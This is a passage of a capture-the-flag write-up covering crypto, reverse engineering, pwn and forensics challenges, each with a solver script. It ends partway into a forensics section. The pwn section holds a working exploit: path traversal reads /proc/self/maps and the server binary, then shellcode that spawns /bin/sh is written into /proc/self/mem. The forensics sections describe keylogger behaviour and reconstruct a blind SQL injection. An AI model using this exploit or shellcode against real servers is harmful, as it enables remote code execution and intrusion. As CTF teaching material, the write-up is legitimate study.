if n >= 55 and s[n-55] is not None and s[n-34] is not None:
val = (s[n-55] - s[n-34]) % MBIG
if val == MBIG: val -= 1
s[n] = val
target = next_base + 24
if target < len(s) and s[target] is not None:
code = int(s[target] * (1.0/MBIG) * 10000000)
print(f"[*] Predict NEXT Tick {next_tick}: {code}")
# Wait
print(" Waiting...")
while True:
f = get_frame()
if f and f['tickId'] >= next_tick:
break
time.sleep(0.5)
res = redeem(next_tick, code)
print(f" Result: {res}")
if res.get('success') or 'flag' in res:
print(f"\n[!!!] FLAG: {res.get('flag')}")
return
if __name__ == "__main__":
solve()

Final Flag
C2C{0a0628bc8d88}
Tet
The Challenge
- Category: Crypto
- Provided files: tet.zip
- Goal: Recover the hidden message
sfrom a custom cryptosystem.
Finding the Bug
I analyzed the cryptosystem and found it relied on several components:
- Structure: $f = e \cdot M_1 + c$
- Parameters: Small
aandb(1000 bits) relative toN(2048 bits). - Relation: $val_{ab} = a \cdot b^{-1} \pmod N$.
I identified three potential attack vectors:
- Rational Reconstruction: Since $a, b \approx N^{1/2}$, I could recover $a$ and $b$ from $val_{ab}$ using the Extended Euclidean Algorithm (Rational Reconstruction).
- Hidden Number Problem (HNP): The equation $f_i = e_i \cdot M_1 + c_i$ (where $c_i$ is small/structured) posed an HNP. I could use Lattice Reduction (LLL) to recover the shared secret $M_1$.
- Factorization: With the parameters recovered, I derived the relation $k/d \approx e/N^3$. This meant Continued Fractions could efficiently recover the private exponent $d$, allowing me to factor $N$.
Exploitation Strategy
My solver script implemented the following steps:
- Rational Reconstruction to find $a, b$.
- CVP/LLL to find $M_1$.
- Wiener’s Attack variant (Continued Fractions) to find $d$.
- Standard RSA decryption using $d$.
from pwn import *
from Crypto.Util.number import getPrime, inverse, long_to_bytes
import math
from math import gcd
# Set up pwntools context
context.log_level = 'debug'
def solve_ab(val, N):
# a * b^-1 = val mod N
# We use rational reconstruction (Euclidean algorithm variant)
# Target size: a, b ~ 2^1000. N ~ 2^2048.
limit = math.isqrt(N)
r0, r1 = N, val
t0, t1 = 0, 1
while r1 > limit:
q = r0 // r1
r0, r1 = r1, r0 - q * r1
t0, t1 = t1, t0 - q * t1
a = r1
b = abs(t1)
if (b * val) % N == a:
return a, b
return None, None
def integer_cbrt(n):
if n < 0: return -integer_cbrt(-n)
if n == 0: return 0
low = 0
high = 1 << ((n.bit_length() + 2) // 3)
while low < high:
mid = (low + high + 1) // 2
if mid**3 <= n:
low = mid
else:
high = mid - 1
return low
def solve_d_factor_N(e, N, a, b):
# e / N^3 approx k / d
# Continued fraction of e / N^3
n, d_val = e, N**3
numerators = [0, 1]
denominators = [1, 0]
BITS = N.bit_length() // 2
while True:
if d_val == 0: break
q_val = n // d_val
n, d_val = d_val, n % d_val
# update covergents
num = q_val * numerators[-1] + numerators[-2]
den = q_val * denominators[-1] + denominators[-2]
numerators.append(num)
denominators.append(den)
# Check if den is close to d (1024 bits)
if den.bit_length() > BITS + 50: # Check bounds
break
candidate_k = num
candidate_d = den
if candidate_k == 0: continue
computed_phi = (e * candidate_d - 1) // candidate_k
# Check quadratic
# b (p^3)^2 + K (p^3) + a N^3 = 0
K = computed_phi - a*b - N**3
delta = K**2 - 4 * b * a * N**3
if delta >= 0:
is_square = False
try:
sqrt_delta = math.isqrt(delta)
if sqrt_delta * sqrt_delta == delta:
is_square = True
except: pass
if is_square:
x1 = (-K + sqrt_delta) // (2*b)
x2 = (-K - sqrt_delta) // (2*b)
for x in [x1, x2]:
if x <= 0: continue
p_cand = integer_cbrt(x)
if p_cand**3 == x:
if N % p_cand == 0:
q_cand = N // p_cand
return candidate_d, p_cand, q_cand
return None, None, None
from fpylll import IntegerMatrix, LLL
def solve_e_lattice(fs):
# fs is a list of [f1, f2, f3, ...]
# We construct lattice to find e1.
# Rows:
# [ 1, round(M*f2/f1), round(M*f3/f1), ... ]
# [ 0, M, 0, ... ]
# [ 0, 0, M, ... ]
# We need to use all rounds to get enough precision.
# k=12, gap=560 bits. Total 6720 bits. e=6140 bits.
# Try multiple M values because bounds are tight and probabilistic
candidates_M = [6705, 6710, 6715, 6700, 6720]
for LIMIT_BITS in candidates_M:
print(f"Trying Lattice Reduction with LIMIT_BITS={LIMIT_BITS}...")
M = 1 << LIMIT_BITS
dim = len(fs)
basis = []
# Row 0
row0 = [1]
for i in range(1, dim):
val = (fs[i] * M) // fs[0]
row0.append(val)
basis.append(row0)
# Other rows
for i in range(1, dim):
row = [0] * dim
row[i] = M
basis.append(row)
# LLL using fpylll with delta=0.99 for better reduction
mat = IntegerMatrix.from_matrix(basis)
LLL.reduction(mat, delta=0.99)
# Check shortest vectors for potential e1
for i in range(mat.nrows):
row = list(mat[i])
val = abs(row[0])
print(f"Candidate e1: {val} (bits: {val.bit_length()})")
if val.bit_length() > 6100 and val.bit_length() < 6200:
rem = fs[0] % val
print(f" Remainder bits: {rem.bit_length()}")
if rem.bit_length() <= 6020: # Allow small margin
return val
return None
def main():
try:
sys.set_int_max_str_digits(50000)
except: pass
# Start process
io = remote("challenges.1pc.tf", 43167)
rounds_data = []
# Collect all 12 rounds
for i in range(1, 13):
io.recvuntil(f"=== Round {i}/12 ===".encode())
io.recvuntil(b"N = ")
N = int(io.recvline().strip(), 16)
io.recvuntil(b"a/b = ")
val_ab = int(io.recvline().strip(), 16)
io.recvuntil(b"f = ")
f = int(io.recvline().strip(), 16)
io.recvuntil(b"z = ")
z = int(io.recvline().strip(), 16)
io.recvuntil(b"g = ")
g = int(io.recvline().strip(), 16)
io.recvuntil(b"U2 = ")
U2 = int(io.recvline().strip(), 16)
rounds_data.append({
'i': i, 'N': N, 'val_ab': val_ab, 'f': f, 'z': z, 'g': g, 'U2': U2
})
print(f"Collected Round {i}")
# Step 1: Recover a, b for all rounds
for r in rounds_data:
r['a'], r['b'] = solve_ab(r['val_ab'], r['N'])
if r['a'] is None:
print(f"Failed to recover a,b for round {r['i']}")
return
# Step 2: Recover e1 using all 12 rounds
fs = [r['f'] for r in rounds_data]
e1 = solve_e_lattice(fs)
if e1 is None:
print("Failed to recover e1 from lattice")
return
print(f"Recovered e1: {e1}")
# Check candidates for M1
# f = e * M1 + c
# M1 approx f / e
r1 = rounds_data[0]
M1_candidate = r1['f'] // e1
print(f"Candidate M1: {M1_candidate}")
# Step 3: Solve each round
guesses = []
for r in rounds_data:
# e = f // M1
e = r['f'] // M1_candidate
r['e'] = e
# d, p, q
d, p, q = solve_d_factor_N(e, r['N'], r['a'], r['b'])
if d is None:
print(f"Failed to factor N for round {r['i']}")
# Maybe e estimate was off by 1?
# e = f // M1 might be floor.
# But M1 is large, so e should be exact?
# f = e*M + c. c < M. So f // M = e. Yes.
return
r['d'] = d
r['p'] = p
r['q'] = q
phi_N = (p-1)*(q-1)
d_inv = inverse(d, N * phi_N)
base = pow(r['U2'], d_inv, r['N']**2)
# base = s + m2*N
s = base % r['N']
guesses.append(s)
print(f"Round {r['i']} s recovered")
# Send guesses
for g_val in guesses:
io.sendlineafter(b">> ", str(g_val).encode())
res = io.recvline()
if b"Nice" in res:
print("Nice!")
else:
print("Fail!")
print(res)
return
# Get flag
print(io.recvall().decode())
if __name__ == "__main__":
main()

Final Flag
C2C{3f3fe040fee1}
BigGuy
The Challenge
- Category: Crypto
- Provided Files: bigguy.zip
- Goal: Decrypt the second part of the flag by exploiting AES-CTR key reuse.
Finding the Bug
-
AES-CTR Nonce/Counter Reuse: The service used AES-CTR mode, which transforms a block cipher into a stream cipher. I knew that if the same IV/Counter is used twice with the same key, the keystream is identical ($C_1 \oplus C_2 = P_1 \oplus P_2$), allowing for trivial decryption if one plaintext is known.
-
Incomplete Logic: The service attempted to prevent this by checking if a provided IV was “too close” (diff <= 3 bytes) to the secret
big_guyIV. -
Bypass: I realized I could bypass this check by constructing an IV that differed by exactly 3 bytes (e.g., flipping LSBs of the last 3 bytes). Although it passed the check, it remained numerically very close. This meant the counter values (which are incremented 128-bit integers) would eventually overlap with the original
big_guycounter sequence after a determinable offset.
Exploitation Strategy
- Forge IV: Retrieve the
big_guyIV and flip bits in bytes 13, 14, and 15 to create a new IVV. - Overlap: Encrypt a long string of ‘A’s using
V. I calculated thatCounter(V) + offsetwould soon equalCounter(big_guy). - Known Plaintext: Since I knew the flag format
C2C{, I could scan the ciphertext for this pattern to find the exact keystream offset. - Decrypt: Once the offset was found, I used the recovered keystream to decrypt
FLAG2.
from pwn import *
import json
import ast
import subprocess
def solve():
context.log_level = 'info'
context.timeout = 60
with open("debug.log", "w") as f:
f.write("Starting solve script\n")
while True:
try:
# Start the challenge process
# p = process(['python3', 'chall.py'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p = remote('challenges.1pc.tf', 42678)
with open("debug.log", "a") as f:
f.write(f"Started process\n")
# Read initial output (skipping warnings)
while True:
try:
line = p.recvline().decode().strip()
except EOFError:
with open("debug.log", "a") as f:
f.write("Got EOF immediately\n")
p.close()
line = None
break
with open("debug.log", "a") as f:
f.write(f"Got line: {line}\n")
if line.startswith('spongebob'):
break
if line is None:
continue
parts = line.split(' ')
# format: spongebob [list] b'...' ok
# carefully parse the list part
list_str = line[line.find('['):line.find(']')+1]
big_guy = eval(list_str)
# Read encrypted flags
flag1_line = p.recvline().decode().strip()
with open("debug.log", "a") as f:
f.write(f"Got flag1 line: {flag1_line}\n")
flag2_line = p.recvline().decode().strip()
with open("debug.log", "a") as f:
f.write(f"Got flag2 line: {flag2_line}\n")
flag1_hex = flag1_line.split('=')[1].strip().strip("'")
flag2_hex = flag2_line.split('=')[1].strip().strip("'")
flag1_ct = bytes.fromhex(flag1_hex)
flag2_ct = bytes.fromhex(flag2_hex)
log.info(f"Big guy: {big_guy}")
# OPTIMIZED STRATEGY:
target_indices = [13, 14, 15]
v = list(big_guy)
for idx in target_indices:
v[idx] ^= 1
max_blocks = 70000
total_len = max_blocks * 16 + len(flag1_ct)
plaintext = 'A' * total_len
req = {
"options": "encrypt",
"plaintext": plaintext,
"iv": v
}
json_req = json.dumps(req)
log.info(f"Sending payload ({len(json_req)} bytes)...")
with open("debug.log", "a") as f:
f.write(f"Sending payload len={len(json_req)}...\n")
# Send in chunks
chunk_size = 4096
for i in range(0, len(json_req), chunk_size):
p.send(json_req[i:i+chunk_size])
if i % (chunk_size * 50) == 0:
with open("debug.log", "a") as f:
f.write(f"Sent {i} bytes\n")
p.send(b'\n') # End of line
with open("debug.log", "a") as f:
f.write("Payload sent. Waiting for response...\n")
# Wait for response
while True:
try:
# Use recvuntil with a large buffer or just loop until we get the line
line_bytes = p.recvuntil(b'\n').strip()
resp = line_bytes.decode(errors='ignore')
if resp.startswith("ct_big"):
break
if "nope" in resp:
log.info("Plagiarism check failed (shouldn't happen with 3 diffs)")
break
except EOFError:
break
if not resp or not resp.startswith("ct_big"):
p.close()
continue
# Parse ct_big
ct_hex_part = resp.split('=', 1)[1].strip()
ct_big = ast.literal_eval(ct_hex_part)
# Try to get ct_pants as well
ct_pants = None
try:
# Loop to find ct_pants, expecting it within a few lines
for _ in range(5):
line_bytes = p.recvuntil(b'\n', timeout=5).strip()
resp2 = line_bytes.decode(errors='ignore')
with open("debug.log", "a") as f:
f.write(f"Got resp2 line: {resp2[:100]}...\n")
if resp2.startswith("ct_pants"):
ct_hex_part2 = resp2.split('=', 1)[1].strip()
ct_pants = ast.literal_eval(ct_hex_part2)
break
except Exception as e:
with open("debug.log", "a") as f:
f.write(f"Failed to get ct_pants: {e}\n")
pass
# Helper function to decrypt at specific offset
def decrypt_at_offset(ciphertext, known_ct, offset, label):
if not ciphertext or offset + len(known_ct) > len(ciphertext):
return None
try:
decrypted = bytearray()
for i in range(len(known_ct)):
decrypted.append(known_ct[i] ^ ciphertext[offset+i] ^ 0x41)
val = bytes(decrypted)
log.success(f"Decrypted {label} at offset {offset}: {val}")
print(f"{label}: {val}")
return val
except:
return None
# Scan loop
found_flag = False
for k in range(max_blocks):
offset = k * 16
if offset + 4 > len(ct_big):
break
try:
# Check FLAG1 header
c0 = flag1_ct[0] ^ ct_big[offset] ^ 0x41
c1 = flag1_ct[1] ^ ct_big[offset+1] ^ 0x41
c2 = flag1_ct[2] ^ ct_big[offset+2] ^ 0x41
c3 = flag1_ct[3] ^ ct_big[offset+3] ^ 0x41
if bytes([c0, c1, c2, c3]) == b'C2C{':
log.success(f"Found FLAG1 match at block {k} (offset {offset})!")
flag1 = decrypt_at_offset(ct_big, flag1_ct, offset, "FLAG1")
# Use SAME offset for FLAG2
if ct_pants:
flag2 = decrypt_at_offset(ct_pants, flag2_ct, offset, "FLAG2")
else:
log.warning("ct_pants missing, cannot recover FLAG2")
found_flag = True
break
except Exception:
continue
if found_flag:
break
else:
log.info("Flag not found in this attempt (wrong direction?), retrying...")
p.close()
except Exception as e:
with open("debug.log", "a") as f:
f.write(f"Exception: {e}\n")
log.error(f"Error: {e}")
p.close()
pass
except Exception as e:
log.error(f"Error: {e}")
p.close()
time.sleep(1)
if __name__ == "__main__":
solve()

Final Flag
C2C{5d6d98ac-68de-4257-9e3a-59686514d0fd9a0e0ca79875}
Reverse Engineering
Bunaken
The Challenge
- Category: Reverse Engineering
- Provided Files: bunaken_bunaken-dist.zip, contains
bunaken(Binary),flag.txt(Encrypted) - Goal: Reverse the binary to determine the encryption algorithm and key, then decrypt the flag.
First Look / Recon
I started by identifying the file type:
file bunaken: 64-bit ELF executable.strings bunaken: Contains references toBun,JavaScriptCore, and typical JS strings.
I concluded this was a standalone Bun runtime executable. I knew that Bun apps often append the JS source to the end of the binary.
Reversing the Logic
Step 1: Extraction I located the start of the bundled JavaScript payload by inspecting the end of the binary. The payload started with a large array and what looked like obfuscated logic.
Step 2: Deobfuscation Analysis
The script used a string-hiding technique involving a rotated string array and a checksum-based un-shuffler. It also used two decoder functions: l(index) for offsets and c(index, key) for RC4-like decryption.
Step 3: Protocol Reconstruction By emulating the deobfuscation logic in a local Node.js environment, I resolved the critical API calls and behaviors:
s(373, "rG]G")->sulawesis(387)->zstdCompresst(402)->digest,r(399)->SHA-256t(375)->AES-CBC
The Algorithm:
- Compression: Input data is compressed using
Bun.zstdCompress. - Key Derivation:
key = SHA-256("sulawesi").slice(0, 16). - Encryption:
AES-CBCwith a random 16-byte IV. - Output: Concatenated
IV + Ciphertext.
Exploitation Strategy
To decrypt flag.txt.bunakencrypted, I simply had to invert the operations:
- Separate the IV and Ciphertext.
- Desrypt using AES-CBC with the derived key.
- Decompress the result using Zstd.
import base64
import hashlib
import zstandard as zstd
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# 1. Read encrypted file content
with open("flag.txt.bunakencrypted", "r") as f:
enc_data_b64 = f.read().strip()
# 2. Base64 decode
enc_data = base64.b64decode(enc_data_b64)
# 3. Extract IV and Ciphertext
iv = enc_data[:16]
ciphertext = enc_data[16:]
print(f"IV: {iv.hex()}")
print(f"Ciphertext length: {len(ciphertext)}")
# 4. Derive key: First 16 bytes of SHA256("sulawesi")
key_source = b"sulawesi"
key_hash = hashlib.sha256(key_source).digest()
key = key_hash[:16]
print(f"Key: {key.hex()}")
# 5. Decrypt AES-CBC
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_padded = decryptor.update(ciphertext) + decryptor.finalize()
# 6. Decompress Zstd
# Note: AES-CBC might add padding (PKCS7 usually), but Zstd decompression might ignore trailing garbage or we might need to unpad first.
# However, the encryption logic in JS:
# `crypto.subtle.encrypt({name:"AES-CBC", iv:b}, I, r)`
# Web Crypto API typically uses PKCS7 padding by default for AES-CBC.
# Let's try to decompress directly, or handle padding if Zstd fails.
dctx = zstd.ZstdDecompressor()
try:
# Try decompressing direct bytes. Zstd ignores trailing bytes usually if frame is valid.
flag_bytes = dctx.decompress(decrypted_padded)
print(f"Decrypted Flag: {flag_bytes.decode('utf-8')}")
except Exception as e:
print(f"Decompression failed: {e}")
# Maybe manual unpadding is needed?
# PKCS7 unpadding
pad_len = decrypted_padded[-1]
if pad_len < 16:
unpadded = decrypted_padded[:-pad_len]
try:
flag_bytes = dctx.decompress(unpadded)
print(f"Decrypted Flag (Unpadded): {flag_bytes.decode('utf-8')}")
except Exception as e2:
print(f"Decompression failed after unpad: {e2}")
# print hex mapping to debug
print(f"Decrypted Hex: {decrypted_padded.hex()}")

Final Flag
C2C{BUN_AwKward_ENcryption_compression_obfuscation}
Pwn
NS3
The Challenge
- Category: Pwn
- Provided Files: ns3.tar.gz
- Goal: Achieve Remote Code Execution (RCE) on the custom HTTP server.
Finding the Bug
I identified two critical flaws in the C++ server src/server.cpp:
- Path Traversal: The
process_getandprocess_putfunctions useopen(path.c_str(), ...)directly with user input. This allows accessing arbitrary files like../../../../proc/self/maps. - Unsafe Memory Handling: The server runs with permissions that allow writing to
/proc/self/mem(its own memory), bypassing standard W^X protections.
Exploitation Strategy
My plan was to achieve RCE by overwriting running code in memory:
- ASLR Bypass: Send a GET request for
/proc/self/mapsto leak the base address of theserverbinary. - Binary Extraction: Download
/proc/self/exeto analyze offsets locally. - Code Execution:
- I decided to target the
Server::send_responsefunction, which is called at the end of theprocess_puthandler. - I constructed a shellcode payload that reuses the existing socket (looping FDs 3-10) and spawns
/bin/sh. - I sent a
PUTrequest to/proc/self/memtargeting the address ofsend_response(Base + Offset). - The payload overwrites the function code. When the server tries to send the response, it executes my shellcode.
- I decided to target the
Solver Script:
import requests
import re
from pwn import *
import time
context.arch = 'amd64'
context.os = 'linux'
HOST = 'challenges.1pc.tf'
PORT = 23158
URL = f'http://{HOST}:{PORT}'
def download_binary():
print("[*] Downloading binary...")
r = requests.get(f'{URL}/?path=../../../../proc/self/exe', stream=True)
with open('server_leaked', 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
f.write(chunk)
print("[+] Binary downloaded as 'server_leaked'")
def get_base_address():
print("[*] Leaking /proc/self/maps...")
r = requests.get(f'{URL}/?path=../../../../proc/self/maps')
for line in r.text.splitlines():
if 'server' in line and 'r--p' in line: # Try to find r-xp or r--p, usually the first one is text base
# The permissions might be r-xp or r--p depending on kernel/linker
parts = line.split('-')
base = int(parts[0], 16)
print(f"[+] Leaked Base Address: {hex(base)}")
return base
# Fallback: just take the very first line
line = r.text.splitlines()[0]
parts = line.split('-')
base = int(parts[0], 16)
print(f"[+] Leaked Base Address (Fallback): {hex(base)}")
return base
def exploit():
# 1. Download Binary to find offsets
if not os.path.exists('server_leaked'):
download_binary()
elf = ELF('server_leaked')
# We need to overwrite a function that is called after we write to memory.
# process_put calls send_response at the end.
# void Server::process_put(...) { ... send_response(client_fd, 204, "No Content"); }
# So if we overwrite send_response, it should trigger.
# However, process_put is called inside handle_client loop.
# The server is multi-process (fork). modifying /proc/self/mem affects the CURRENT process.
# So we must do it in one connection (Keep-Alive is enabled).
target_sym = '_ZN6Server13send_responseEiRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES7_'
# Mangled name for Server::send_response. better to look it up by name if possible.
try:
offset = elf.functions['_ZN6Server13send_responseEiRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES7_'].address
except KeyError:
# Try to find by demangled name or just pick one
print("[-] Could not find symbol by name, trying to find by iterating symbols...")
for sym, addr in elf.symbols.items():
if 'send_response' in sym:
offset = addr
print(f"[+] Found symbol {sym} at {hex(offset)}")
break
else:
print("[-] Failed to find send_response offset")
return
print(f"[+] Offset of send_response: {hex(offset)}")
# 2. Leak ASLR
# We need to do this in a new session or same?
# Ideally we can calculate base from maps.
base_addr = get_base_address()
target_addr = base_addr + offset
print(f"[+] Target Address (send_response): {hex(target_addr)}")
# 3. Construct Shellcode
# Connect back shell or reuse socket?
# Reuse socket is best. FD is likely 4.
# We can try to dupe 3,4,5,6 to 0,1,2
shellcode = asm("""
/* reuse socket fd */
/* loop FDs 3 to 10 to find socket */
xor rbx, rbx
mov bl, 3
loop_fds:
cmp bl, 10
jg exec_sh
/* dup2(fd, 0) */
mov rax, 33
mov rdi, rbx
xor rsi, rsi
syscall
/* dup2(fd, 1) */
mov rax, 33
mov rdi, rbx
mov rsi, 1
syscall
/* dup2(fd, 2) */
mov rax, 33
mov rdi, rbx
mov rsi, 2
syscall
inc rbx
jmp loop_fds
exec_sh:
/* execve("/bin/sh") */
mov rax, 59
lea rdi, [rip+binsh]
xor rsi, rsi
xor rdx, rdx
syscall
binsh:
.string "/bin/sh"
""")
print(f"[+] Shellcode length: {len(shellcode)}")
# 4. Write Shellcode via PUT to /proc/self/mem
# We need to seek to target_addr.
# process_put(path, offset, content)
# path = /proc/self/mem
# offset = target_addr
print("[*] Sending Exploit...")
# Use raw socket to ensure we keep connection for the trigger?
# Actually requests Session should handle keep-alive.
s = requests.Session()
# First, just to be sure we have a session and stick to one process
s.get(f'{URL}/')
# Now PUT the shellcode
# URL encoded path? path parameter is in query string.
# /?path=../../../../proc/self/mem&offset=TARGET_ADDR&method=PUT (no method param, it uses HTTP method)
# The code checks method == "PUT".
files = {'dummy': 'dummy'} # requests might force POST if data is present, need to force PUT
# Using data=shellcode
# The server uses `req.offset` from query param `offset`.
put_url = f'{URL}/?path=../../../../proc/self/mem&offset={target_addr}'
# We need to verify if the server accepts body in PUT.
# Yes: process_put(..., req.body)
r = s.put(put_url, data=shellcode)
print(f"[*] Exploit sent. Status: {r.status_code}")
# Now we should have interaction?
# If the shellcode executed, it might have taken over the connection.
# But `process_put` calls `send_response` AFTER `write`.
# `send_response` is what we overwrote.
# So `process_put` -> `write` (ok) -> `close` (mem fd) -> `send_response` (SHELLCODE)
# So the current connection `s` should now be hooked to /bin/sh.
# But requests might wait for HTTP response.
# We should probably use pwntools for the final interaction.
# Let's switch to pwntools for the exploitation part to handle the socket better.
return
def pwn_exploit():
if not os.path.exists('server_leaked'):
download_binary()
elf = ELF('server_leaked')
# Find send_response offset
# _ZN6Server13send_responseEiRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES7_
# We can also just search for the function prelude if symbols are stripped.
# But let's assume symbols exist since it's a CTF challenge not explicitly stripped.
try:
# direct name lookup
offset = elf.functions['_ZN6Server13send_responseEiRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES7_'].address
except:
# manual search in symbols
for sym, addr in elf.symbols.items():
if 'send_response' in sym:
offset = addr
break
else:
log.error("Could not find send_response symbol")
return
log.info(f"Offset: {hex(offset)}")
# Leak Maps
r = remote(HOST, PORT)
r.sendline(b'GET /?path=../../../../proc/self/maps HTTP/1.1\r\nHost: localhost\r\n\r\n')
maps = b""
try:
maps = r.recvall(timeout=2)
except:
pass
if not maps:
log.error("Failed to leak maps")
return
print("[*] Maps content:")
print(maps.decode(errors='replace'))
# Parse maps to find base address
base_addr = 0
# Look for the first line with 'server' and 'r--p' (read-only, private - usually the header/first segment)
# If not found, look for 'r-xp' and subtract offset.
lines = maps.splitlines()
for line in lines:
if b'server' in line and b'r--p' in line:
parts = line.split(b'-')
base_addr = int(parts[0], 16)
log.info(f"Found base address from r--p segment: {hex(base_addr)}")
break
if base_addr == 0:
# Try r-xp
for line in lines:
if b'server' in line and b'r-xp' in line:
# 7a...-7a... r-xp offset ...
parts = line.split()
start_addr = int(parts[0].split(b'-')[0], 16)
offset_val = int(parts[2], 16)
base_addr = start_addr - offset_val
log.info(f"Calculated base address from r-xp segment: {hex(base_addr)}")
break
if base_addr == 0:
log.error("Could not determine base address")
return
elf.address = base_addr
# Recalculate offset using pwntools ELF with base set
try:
target_addr = elf.functions['_ZN6Server13send_responseEiRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES7_'].address
except:
# Fallback search
for sym, addr in elf.symbols.items():
if 'send_response' in sym:
# elf.symbols are already relocated if elf.address is set?
# No, symbols.items() returns relative address?
# Wait, pwntools ELF.functions returns absolute address if elf.address is set.
# ELF.symbols returns absolute address if elf.address is set.
target_addr = addr # This is absolute now
break
log.info(f"Base Address: {hex(base_addr)}")
log.info(f"Target overwrite address: {hex(target_addr)}")
r.close()
# New connection for exploitation
r = remote(HOST, PORT)
shellcode = asm("""
/* reuse socket fd */
xor rbx, rbx
mov bl, 3
loop_fds:
cmp bl, 10
jg exec_sh
/* dup2(fd, 0) */
mov rax, 33
mov rdi, rbx
xor rsi, rsi
syscall
/* dup2(fd, 1) */
mov rax, 33
mov rdi, rbx
mov rsi, 1
syscall
/* dup2(fd, 2) */
mov rax, 33
mov rdi, rbx
mov rsi, 2
syscall
inc rbx
jmp loop_fds
exec_sh:
/* execve("/bin/sh", ["/bin/sh", 0], 0) */
mov rax, 59
lea rdi, [rip+binsh]
/* construct argv array on stack */
xor rdx, rdx
push rdx /* null terminator */
push rdi /* pointer to "/bin/sh" */
mov rsi, rsp /* rsi -> argv */
xor rdx, rdx /* envp = NULL */
syscall
binsh:
.string "/bin/sh"
""")
payload = shellcode
content_length = len(payload)
# PUT request
req = f'PUT /?path=../../../../proc/self/mem&offset={target_addr} HTTP/1.1\r\n'
req += f'Host: {HOST}\r\n'
req += f'Content-Length: {content_length}\r\n'
req += 'Connection: keep-alive\r\n'
req += '\r\n'
r.send(req.encode() + payload)
# Interaction
time.sleep(1)
r.sendline(b'cat /flag*')
flag = r.recvall(timeout=5)
print(f"[+] Flag: {flag.decode(errors='replace').strip()}")
r.close()
if __name__ == "__main__":
pwn_exploit()
The provided solver uses pwntools and requests to automate the ASLR leak and memory overwrite.

Final Flag
C2C{lINux_Fi1e_SyS7Em_1S_qU1te_MlND_8lowlng_l5n't_lT_9f614b3b839b?}
Forensics
Tattletale
The Challenge
- Category: Forensics
- Provided Files:
serizawa(Binary),cron.aseng(Capture File),whatisthis.enc(Encrypted) - Goal: Reconstruct the actions of a Linux keylogger to recover the flag.
First Look / Recon
I was provided with a binary named serizawa, a suspected keylogger log cron.aseng, and an encrypted file whatisthis.enc.
First, I analyzed the binary type:
$ file serizawa
serizawa: ELF 64-bit LSB executable...
It appeared to be a valid ELF, but usually, these challenges involve packing. I used pyinstxtractor to unpack it.
$ python3 pyinstxtractor.py serizawa
This gave me serizawa_extracted, where I found the main logic script serizawa.pyc. Decompiling it with uncompyle6 revealed the malware’s behavior: it reads /dev/input/event0 (keyboard events) and writes structs of QQHHi format (timestamp, type, code, value) to /opt/cron.aseng.
Parsing the Logs
To understand what was typed, I wrote a script to parse the binary event data in cron.aseng based on the QQHHi struct I identified in the malware.
Parser Script (d.py):
import struct
FILE = "cron.aseng"
FORMAT = "QQHHi"
EVENT_SIZE = struct.calcsize(FORMAT)
# Keymap mappings (abbreviated for brevity)
KEYMAP = { 1: "ESC", 2: "1", ... 28: "ENTER", ... 57: "SPACE" }
decoded = []
shift_pressed = False
with open(FILE, "rb") as f:
while True:
data = f.read(EVENT_SIZE)
if not data: break
tv_sec, tv_usec, ev_type, code, value = struct.unpack(FORMAT, data)
# Process EV_KEY (1)
if ev_type == 1:
if code in (42, 54): shift_pressed = (value == 1 or value == 2)
if value == 1: # Press
if code in KEYMAP: decoded.append(KEYMAP[code])
print("".join(decoded))
Running the parser revealed the attacker’s shell commands:
ls -laenv > whatisthisod whatisthis > whatisthis.baboiopenssl enc -aes-256-cbc -salt -in whatisthis.baboi -out whatisthis.enc -pass pass:4_g00d_fr13nD_in_n33D -pbkdf2rm whatisthis whatisthis.baboi
Decryption & Recovery
I now had the password 4_g00d_fr13nD_in_n33D and the encryption method. I decrypted whatisthis.enc:
$ openssl enc -d -aes-256-cbc -in whatisthis.enc -out decrypted.octal -pass pass:4_g00d_fr13nD_in_n33D -pbkdf2
The output was an octal dump (from od). I wrote a quick script to reverse the od format back to original text.
Decoder Script:
def reverse_od(content):
res = bytearray()
for line in content.strip().split('\n'):
parts = line.split()
if not parts: continue
for p in parts[1:]:
try:
val = int(p, 8)
res.append(val & 0xFF)
res.append((val >> 8) & 0xFF)
except: continue
return res

Decoding the octal dump gave me the original environment variables, which contained the flag.
Final Flag
C2C{it_is_just_4_very_s1mpl3_l1nuX_k3ylogger_xixixi_haiyaaaaa_ez}
Log
The Challenge
- Category: Forensics
- Provided files:
dist-log.zip - Goal: Reconstruct a SQL injection attack from Apache logs.
Forensics Analysis
My investigation started with identifying the attacker IP using awk, sort, and uniq. I found that 219.75.27.16 was the primary source of suspicious activity.
Filtering the logs with grep, I confirmed a Time-based Blind SQL Injection attack targeting the wp_easy-quotes-files table, evidenced by queries containing UNION, SELECT, and SLEEP(5).
Data Recovery Strategy
The attacker used boolean inference logic: IF(ORD(MID(..., i, 1)) != <CHAR>, SLEEP(5), 0).
This meant if the response was fast (no sleep), the character matched. I wrote a script to parse the logs and extract the characters where the response time indicated a match (i.e., NO sleep condition met).
This allowed me to recover the email [email protected] and the hash $wp$2y$10$vMTERqJh2IlhS.NZthNpRu/VWyhLWc0ZmTgbzIUcWxwNwXze44SqW.
from pwn import *
answers = ["182.8.97.244", "219.75.27.16", "6", "Easy Quotes","CVE-2025-26943", "sqlmap/1.10.1.21", "[email protected]", "$wp$2y$10$vMTERqJh2IlhS.NZthNpRu/VWyhLWc0ZmTgbzIUcWxwNwXze44SqW", "11/01/2026 13:12:49", ""]
HOST = 'challenges.1pc.tf'
PORT = 23065
p = remote(HOST, PORT)
print(p.recvuntil(b"Your Answer: ").decode())
for answer in answers:
try:
p.sendline(answer.encode())
print(p.recvuntil(b"Your Answer: ").decode())
except EOFError:
print(p.recvall().decode())
break

Final Flag
C2C{7H15_15_V3rY_345Y_3f968f28ffa4}
React
The Challenge
- Category: Forensics
- Goal: Decrypt C2 traffic from a PCAP file.
Forensics Analysis
I started by analyzing the traffic in Wireshark (tshark). I identified malicious scans and HTTP exploits coming from 192.168.56.104 targeting port 3000. It looked like a Next.js Prototype Pollution RCE (CVE-2025-55182).
